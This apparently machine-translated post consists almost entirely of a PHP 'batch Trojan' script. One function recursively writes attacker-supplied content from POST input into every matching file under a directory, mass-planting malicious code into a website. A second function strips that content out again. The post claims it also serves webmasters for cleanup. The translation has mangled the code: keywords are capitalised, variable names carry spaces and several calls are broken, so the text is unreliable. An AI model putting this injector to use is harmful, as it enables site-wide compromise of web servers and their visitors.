The PHP version of batch Trojan and batch Trojan programs. Therefore, the hacker tool is a damage tool in the hands of hackers, and the maintenance webmaster is a correction tool.
The code is as follows:
Function gmfun ($ path = ".")
{
$ D = @ dir ($ path );
While (false! ==( $ V = $ d-> read ())){
If ($ v = "." | $ v = "..") continue;
$ File = $ d-> path. "/". $ v;
If (@ is_dir ($ file )){
Gmfun ($ file );
} Else {
If (@ ereg (stripslashes ($ _ POST ["key"]), $ file )){
$ Mm = stripcslashes (trim ($ _ POST [mm]);
$ Handle = @ fopen ("$ file", "");
@ Fwrite ($ handle, "$ mm ");
@ Fclose ($ handle );
Echo "Trojan file: $ file \ n
";
}
}
}
$ D-> close ();
Echo "";
}
Function qmfun ($ path = ".")
{
$ D = @ dir ($ path );
While (false! ==( $ V = $ d-> read ())){
If ($ v = "." | $ v = "..") continue;
$ File = $ d-> path. "/". $ v;
If (@ is_dir ($ file )){
Qmfun ($ file );
} Else {
If (@ ereg (stripslashes ($ _ POST ["key"]), $ file )){
$ Mm = stripcslashes (trim ($ _ POST [mm]);
$ Handle = fopen ("$ file", "rb ");
$ Oldcontent = fread ($ handle, filesize ($ file ));
Fclose ($ handle );
$ Newcontent = str_replace ($ mm, ", $ oldcontent );
$ Fw = fopen ("$ file", "wb ");
Fwrite ($ fw, $ newcontent, strlen ($ newcontent ));
Fclose ($ fw );
Echo "deleted files: $ file \ n
";
}
}
}
$ D-> close ();
Echo "";
}
If ($ _ GET ['action'] = 'GM '){
Set_time_limit (0 );
Gmfun ($ _ POST ["dir"]);
}
If ($ _ GET ['action'] = 'QM '){
Set_time_limit (0 );
Qmfun ($ _ POST ["dir"]);
}
?>
Batch Trojan (qingma) program php version